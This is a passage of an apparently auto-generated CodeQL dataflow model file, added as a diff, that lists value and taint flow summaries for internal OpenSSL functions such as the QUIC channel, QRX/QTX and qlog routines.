"ossl_pw_pem_password", "(char *,int,int,void *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_pw_pvk_password", "(char *,int,int,void *)", "", "Argument[*0]", "Argument[*3].Field[**cached_passphrase]", "value", "dfc-generated"] + - ["", "", True, "ossl_pw_pvk_password", "(char *,int,int,void *)", "", "Argument[0]", "Argument[*3].Field[**cached_passphrase]", "taint", "dfc-generated"] + - ["", "", True, "ossl_pw_pvk_password", "(char *,int,int,void *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_qlog_enabled", "(QLOG *,uint32_t)", "", "Argument[*0].Field[*enabled]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_qlog_enabled", "(QLOG *,uint32_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_qlog_event_try_begin", "(QLOG *,uint32_t,const char *,const char *,const char *)", "", "Argument[*2]", "Argument[*0].Field[**event_cat]", "value", "dfc-generated"] + - ["", "", True, "ossl_qlog_event_try_begin", "(QLOG *,uint32_t,const char *,const char *,const char *)", "", "Argument[*3]", "Argument[*0].Field[**event_name]", "value", "dfc-generated"] + - ["", "", True, "ossl_qlog_event_try_begin", "(QLOG *,uint32_t,const char *,const char *,const char *)", "", "Argument[*4]", "Argument[*0].Field[**event_combined_name]", "value", "dfc-generated"] + - ["", "", True, "ossl_qlog_event_try_begin", "(QLOG *,uint32_t,const char *,const char *,const char *)", "", "Argument[1]", "Argument[*0].Field[*event_type]", "value", "dfc-generated"] + - ["", "", True, "ossl_qlog_event_try_begin", "(QLOG *,uint32_t,const char *,const char *,const char *)", "", "Argument[2]", "Argument[*0].Field[*event_cat]", "value", "dfc-generated"] + - ["", "", True, "ossl_qlog_event_try_begin", "(QLOG *,uint32_t,const char *,const char *,const char *)", "", "Argument[3]", "Argument[*0].Field[*event_name]", "value", "dfc-generated"] + - ["", "", True, "ossl_qlog_event_try_begin", "(QLOG *,uint32_t,const char *,const char *,const char *)", "", "Argument[4]", "Argument[*0].Field[*event_combined_name]", "value", "dfc-generated"] + - ["", "", True, "ossl_qlog_new", "(const QLOG_TRACE_INFO *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_qlog_new_from_env", "(const QLOG_TRACE_INFO *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_qlog_override_time", "(QLOG *,OSSL_TIME)", "", "Argument[1]", "Argument[*0].Field[*event_time]", "value", "dfc-generated"] + - ["", "", True, "ossl_qlog_set_event_type_enabled", "(QLOG *,uint32_t,int)", "", "Argument[1]", "Argument[*0].Field[*enabled]", "taint", "dfc-generated"] + - ["", "", True, "ossl_qlog_set_sink_bio", "(QLOG *,BIO *)", "", "Argument[*1]", "Argument[*0].Field[**bio]", "value", "dfc-generated"] + - ["", "", True, "ossl_qlog_set_sink_bio", "(QLOG *,BIO *)", "", "Argument[1]", "Argument[*0].Field[*bio]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrl_enc_level_set_get", "(OSSL_QRL_ENC_LEVEL_SET *,uint32_t,int)", "", "Argument[*0].Field[*el]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrl_enc_level_set_get", "(OSSL_QRL_ENC_LEVEL_SET *,uint32_t,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_qrl_enc_level_set_get", "(OSSL_QRL_ENC_LEVEL_SET *,uint32_t,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_qrx_get_bytes_received", "(OSSL_QRX *,int)", "", "Argument[*0].Field[*bytes_received]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_get_cur_forged_pkt_count", "(OSSL_QRX *)", "", "Argument[*0].Field[*forged_pkt_count]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_get_short_hdr_conn_id_len", "(OSSL_QRX *)", "", "Argument[*0].Field[*short_conn_id_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_inject_pkt", "(OSSL_QRX *,OSSL_QRX_PKT *)", "", "Argument[1]", "Argument[*0].Field[*rx_pending].Field[*alpha]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_inject_pkt", "(OSSL_QRX *,OSSL_QRX_PKT *)", "", "Argument[1]", "Argument[*0].Field[*rx_pending].Field[*omega]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_inject_urxe", "(OSSL_QRX *,QUIC_URXE *)", "", "Argument[*1]", "Argument[*0].Field[*urx_pending].Field[**alpha]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_inject_urxe", "(OSSL_QRX *,QUIC_URXE *)", "", "Argument[*1]", "Argument[*0].Field[*urx_pending].Field[**omega]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_inject_urxe", "(OSSL_QRX *,QUIC_URXE *)", "", "Argument[1]", "Argument[*0].Field[*urx_pending].Field[*alpha]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_inject_urxe", "(OSSL_QRX *,QUIC_URXE *)", "", "Argument[1]", "Argument[*0].Field[*urx_pending].Field[*omega]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_new", "(const OSSL_QRX_ARGS *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_qrx_read_pkt", "(OSSL_QRX *,OSSL_QRX_PKT **)", "", "Argument[0]", "Argument[**1].Field[*qrx]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_set_key_update_cb", "(OSSL_QRX *,ossl_qrx_key_update_cb *,void *)", "", "Argument[**2]", "Argument[*0].Field[***key_update_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_set_key_update_cb", "(OSSL_QRX *,ossl_qrx_key_update_cb *,void *)", "", "Argument[*2]", "Argument[*0].Field[**key_update_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_set_key_update_cb", "(OSSL_QRX *,ossl_qrx_key_update_cb *,void *)", "", "Argument[1]", "Argument[*0].Field[*key_update_cb]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_set_key_update_cb", "(OSSL_QRX *,ossl_qrx_key_update_cb *,void *)", "", "Argument[2]", "Argument[*0].Field[*key_update_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_set_late_validation_cb", "(OSSL_QRX *,ossl_qrx_late_validation_cb *,void *)", "", "Argument[**2]", "Argument[*0].Field[***validation_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_set_late_validation_cb", "(OSSL_QRX *,ossl_qrx_late_validation_cb *,void *)", "", "Argument[*2]", "Argument[*0].Field[**validation_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_set_late_validation_cb", "(OSSL_QRX *,ossl_qrx_late_validation_cb *,void *)", "", "Argument[1]", "Argument[*0].Field[*validation_cb]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_set_late_validation_cb", "(OSSL_QRX *,ossl_qrx_late_validation_cb *,void *)", "", "Argument[2]", "Argument[*0].Field[*validation_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_set_msg_callback", "(OSSL_QRX *,ossl_msg_cb,SSL *)", "", "Argument[*2]", "Argument[*0].Field[**msg_callback_ssl]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_set_msg_callback", "(OSSL_QRX *,ossl_msg_cb,SSL *)", "", "Argument[1]", "Argument[*0].Field[*msg_callback]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_set_msg_callback", "(OSSL_QRX *,ossl_msg_cb,SSL *)", "", "Argument[2]", "Argument[*0].Field[*msg_callback_ssl]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_set_msg_callback_arg", "(OSSL_QRX *,void *)", "", "Argument[**1]", "Argument[*0].Field[***msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_set_msg_callback_arg", "(OSSL_QRX *,void *)", "", "Argument[*1]", "Argument[*0].Field[**msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_set_msg_callback_arg", "(OSSL_QRX *,void *)", "", "Argument[1]", "Argument[*0].Field[*msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_calculate_ciphertext_payload_len", "(OSSL_QTX *,uint32_t,size_t,size_t *)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_qtx_calculate_plaintext_payload_len", "(OSSL_QTX *,uint32_t,size_t,size_t *)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_qtx_get_cur_dgram_len_bytes", "(OSSL_QTX *)", "", "Argument[*0].Field[**cons].Field[*data_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_get_cur_epoch_pkt_count", "(OSSL_QTX *,uint32_t)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_qtx_get_mdpl", "(OSSL_QTX *)", "", "Argument[*0].Field[*mdpl]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_get_queue_len_bytes", "(OSSL_QTX *)", "", "Argument[*0].Field[*pending_bytes]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_get_queue_len_datagrams", "(OSSL_QTX *)", "", "Argument[*0].Field[*pending_count]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_get_unflushed_pkt_count", "(OSSL_QTX *)", "", "Argument[*0].Field[*cons_count]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_is_enc_level_provisioned", "(OSSL_QTX *,uint32_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_qtx_new", "(const OSSL_QTX_ARGS *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_qtx_pop_net", "(OSSL_QTX *,BIO_MSG *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_qtx_set_bio", "(OSSL_QTX *,BIO *)", "", "Argument[*1]", "Argument[*0].Field[**bio]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_set_bio", "(OSSL_QTX *,BIO *)", "", "Argument[1]", "Argument[*0].Field[*bio]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_set_mdpl", "(OSSL_QTX *,size_t)", "", "Argument[1]", "Argument[*0].Field[*mdpl]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_set_msg_callback", "(OSSL_QTX *,ossl_msg_cb,SSL *)", "", "Argument[*2]", "Argument[*0].Field[**msg_callback_ssl]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_set_msg_callback", "(OSSL_QTX *,ossl_msg_cb,SSL *)", "", "Argument[1]", "Argument[*0].Field[*msg_callback]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_set_msg_callback", "(OSSL_QTX *,ossl_msg_cb,SSL *)", "", "Argument[2]", "Argument[*0].Field[*msg_callback_ssl]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_set_msg_callback_arg", "(OSSL_QTX *,void *)", "", "Argument[**1]", "Argument[*0].Field[***msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_set_msg_callback_arg", "(OSSL_QTX *,void *)", "", "Argument[*1]", "Argument[*0].Field[**msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_set_msg_callback_arg", "(OSSL_QTX *,void *)", "", "Argument[1]", "Argument[*0].Field[*msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_set_mutator", "(OSSL_QTX *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *)", "", "Argument[**3]", "Argument[*0].Field[***mutatearg]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_set_mutator", "(OSSL_QTX *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *)", "", "Argument[*3]", "Argument[*0].Field[**mutatearg]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_set_mutator", "(OSSL_QTX *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *)", "", "Argument[1]", "Argument[*0].Field[*mutatecb]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_set_mutator", "(OSSL_QTX *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *)", "", "Argument[2]", "Argument[*0].Field[*finishmutatecb]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_set_mutator", "(OSSL_QTX *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *)", "", "Argument[3]", "Argument[*0].Field[*mutatearg]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_set_qlog_cb", "(OSSL_QTX *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[***get_qlog_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_set_qlog_cb", "(OSSL_QTX *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**get_qlog_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_set_qlog_cb", "(OSSL_QTX *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*get_qlog_cb]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_set_qlog_cb", "(OSSL_QTX *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*get_qlog_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_bind_channel", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[*1].Union[*bio_addr_st]", "Argument[*0].Field[*cur_peer_addr].Union[*bio_addr_st]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_bind_channel", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[*2]", "Argument[*0].Field[*cur_remote_dcid]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_bind_channel", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[*3]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "ossl_quic_bind_channel", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[*4]", "Argument[*0].Field[*odcid]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_bind_channel", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[0]", "Argument[*0].Field[**qtx].Field[*get_qlog_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_bind_channel", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[1]", "Argument[*0].Field[*cur_peer_addr].Union[*bio_addr_st]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_bind_channel", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[2]", "Argument[*0].Field[*cur_remote_dcid]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_bind_channel", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_bind_channel", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[4]", "Argument[*0].Field[*odcid]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_bind_channel", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_calculate_retry_integrity_tag", "(OSSL_LIB_CTX *,const char *,const QUIC_PKT_HDR *,const QUIC_CONN_ID *,unsigned char *)", "", "Argument[*3].Field[*id]", "Argument[*3].Field[**id]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_calculate_retry_integrity_tag", "(OSSL_LIB_CTX *,const char *,const QUIC_PKT_HDR *,const QUIC_CONN_ID *,unsigned char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_cfq_item_get_encoded", "(const QUIC_CFQ_ITEM *)", "", "Argument[*0].Field[**encoded]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_cfq_item_get_encoded", "(const QUIC_CFQ_ITEM *)", "", "Argument[*0].Field[*encoded]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_cfq_item_get_encoded_len", "(const QUIC_CFQ_ITEM *)", "", "Argument[*0].Field[*encoded_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_cfq_item_get_frame_type", "(const QUIC_CFQ_ITEM *)", "", "Argument[*0].Field[*frame_type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_cfq_item_get_pn_space", "(const QUIC_CFQ_ITEM *)", "", "Argument[*0].Field[*pn_space]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_cfq_item_get_priority_next", "(const QUIC_CFQ_ITEM *,uint32_t)", "", "Argument[*0].Field[**next].Field[*public]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_cfq_item_get_state", "(const QUIC_CFQ_ITEM *)", "", "Argument[*0].Field[*state]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_cfq_item_is_unreliable", "(const QUIC_CFQ_ITEM *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_cfq_mark_lost", "(QUIC_CFQ *,QUIC_CFQ_ITEM *,uint32_t)", "", "Argument[2]", "Argument[*1].Field[*priority]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_cfq_mark_tx", "(QUIC_CFQ *,QUIC_CFQ_ITEM *)", "", "Argument[1]", "Argument[*0].Field[*tx_list].Field[*head]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_cfq_mark_tx", "(QUIC_CFQ *,QUIC_CFQ_ITEM *)", "", "Argument[1]", "Argument[*0].Field[*tx_list].Field[*tail]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_cfq_mark_tx", "(QUIC_CFQ *,QUIC_CFQ_ITEM *)", "", "Argument[1]", "Argument[*1].Field[**prev].Field[*next]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_cfq_release", "(QUIC_CFQ *,QUIC_CFQ_ITEM *)", "", "Argument[1]", "Argument[*0].Field[*free_list].Field[*head]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_cfq_release", "(QUIC_CFQ *,QUIC_CFQ_ITEM *)", "", "Argument[1]", "Argument[*0].Field[*free_list].Field[*tail]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_cfq_release", "(QUIC_CFQ *,QUIC_CFQ_ITEM *)", "", "Argument[1]", "Argument[*1].Field[**prev].Field[*next]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_alloc", "(const QUIC_CHANNEL_ARGS *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_channel_bind_qrx", "(QUIC_CHANNEL *,OSSL_QRX *)", "", "Argument[*1]", "Argument[*0].Field[**qrx]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_bind_qrx", "(QUIC_CHANNEL *,OSSL_QRX *)", "", "Argument[0]", "Argument[*0].Field[**qrx].Field[*key_update_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_bind_qrx", "(QUIC_CHANNEL *,OSSL_QRX *)", "", "Argument[0]", "Argument[*0].Field[**qrx].Field[*validation_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_bind_qrx", "(QUIC_CHANNEL *,OSSL_QRX *)", "", "Argument[1]", "Argument[*0].Field[*qrx]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_get0_demux", "(QUIC_CHANNEL *)", "", "Argument[*0].Field[**port].Field[**demux]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_get0_demux", "(QUIC_CHANNEL *)", "", "Argument[*0].Field[**port].Field[*demux]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_get0_engine", "(QUIC_CHANNEL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_quic_channel_get0_engine", "(QUIC_CHANNEL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_channel_get0_port", "(QUIC_CHANNEL *)", "", "Argument[*0].Field[**port]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_get0_port", "(QUIC_CHANNEL *)", "", "Argument[*0].Field[*port]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_get0_ssl", "(QUIC_CHANNEL *)", "", "Argument[*0].Field[**tls]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_get0_ssl", "(QUIC_CHANNEL *)", "", "Argument[*0].Field[*tls]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_get0_tls", "(QUIC_CHANNEL *)", "", "Argument[*0].Field[**tls]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_get0_tls", "(QUIC_CHANNEL *)", "", "Argument[*0].Field[*tls]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_get_diag_local_cid", "(QUIC_CHANNEL *,QUIC_CONN_ID *)", "", "Argument[*0].Field[*cur_local_cid]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_get_diag_num_rx_ack", "(QUIC_CHANNEL *)", "", "Argument[*0].Field[*diag_num_rx_ack]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_get_local_stream_count_avail", "(const QUIC_CHANNEL *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_quic_channel_get_max_idle_timeout_actual", "(const QUIC_CHANNEL *)", "", "Argument[*0].Field[*max_idle_timeout]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_get_max_idle_timeout_peer_request", "(const QUIC_CHANNEL *)", "", "Argument[*0].Field[*max_idle_timeout_remote_req]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_get_max_idle_timeout_request", "(const QUIC_CHANNEL *)", "", "Argument[*0].Field[*max_idle_timeout_local_req]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_get_peer_addr", "(QUIC_CHANNEL *,BIO_ADDR *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_channel_get_qsm", "(QUIC_CHANNEL *)", "", "Argument[*0].Field[*qsm]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_get_remote_stream_count_avail", "(const QUIC_CHANNEL *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_quic_channel_get_short_header_conn_id_len", "(QUIC_CHANNEL *)", "", "Argument[*0].Field[**port].Field[*rx_short_dcid_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_get_statm", "(QUIC_CHANNEL *)", "", "Argument[*0].Field[*statm]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_get_terminate_cause", "(const QUIC_CHANNEL *)", "", "Argument[*0].Field[*terminate_cause]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_have_generated_transport_params", "(const QUIC_CHANNEL *)", "", "Argument[*0].Field[*got_local_transport_params]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_init", "(QUIC_CHANNEL *)", "", "Argument[0]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_channel_is_handshake_complete", "(const QUIC_CHANNEL *)", "", "Argument[*0].Field[*handshake_complete]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_is_handshake_confirmed", "(const QUIC_CHANNEL *)", "", "Argument[*0].Field[*handshake_confirmed]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_net_error", "(QUIC_CHANNEL *)", "", "Argument[*0].Field[*net_error]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_new_stream_local", "(QUIC_CHANNEL *,int)", "", "Argument[0]", "ReturnValue[*].Field[*rxfc].Field[*now_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_new_stream_remote", "(QUIC_CHANNEL *,uint64_t)", "", "Argument[0]", "ReturnValue[*].Field[*rxfc].Field[*now_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_new_stream_remote", "(QUIC_CHANNEL *,uint64_t)", "", "Argument[1]", "ReturnValue[*].Field[*id]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_new_stream_remote", "(QUIC_CHANNEL *,uint64_t)", "", "Argument[1]", "ReturnValue[*].Field[*type]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_on_new_conn", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[*1].Union[*bio_addr_st]", "Argument[*0].Field[*cur_peer_addr].Union[*bio_addr_st]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_on_new_conn", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[*2]", "Argument[*0].Field[*cur_remote_dcid]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_on_new_conn", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[*3]", "Argument[*0].Field[*init_dcid]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_on_new_conn", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[0]", "Argument[*0].Field[**qtx].Field[*get_qlog_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_on_new_conn", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[1]", "Argument[*0].Field[*cur_peer_addr].Union[*bio_addr_st]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_on_new_conn", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[2]", "Argument[*0].Field[*cur_remote_dcid]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_on_new_conn", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_on_new_conn", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[3]", "Argument[*0].Field[*init_dcid]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_on_new_conn", "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_on_new_conn_id", "(QUIC_CHANNEL *,OSSL_QUIC_FRAME_NEW_CONN_ID *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_channel_reject_stream", "(QUIC_CHANNEL *,QUIC_STREAM *)", "", "Argument[1]", "Argument[*0].Field[*qsm].Field[*rr_cur]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_replace_local_cid", "(QUIC_CHANNEL *,const QUIC_CONN_ID *)", "", "Argument[*1]", "Argument[*0].Field[*cur_local_cid]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_replace_local_cid", "(QUIC_CHANNEL *,const QUIC_CONN_ID *)", "", "Argument[1]", "Argument[*0].Field[*cur_local_cid]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_replace_local_cid", "(QUIC_CHANNEL *,const QUIC_CONN_ID *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_set_incoming_stream_auto_reject", "(QUIC_CHANNEL *,int,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*incoming_stream_auto_reject]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_set_incoming_stream_auto_reject", "(QUIC_CHANNEL *,int,uint64_t)", "", "Argument[2]", "Argument[*0].Field[*incoming_stream_auto_reject_aec]", "value", "dfc-generated"] + - 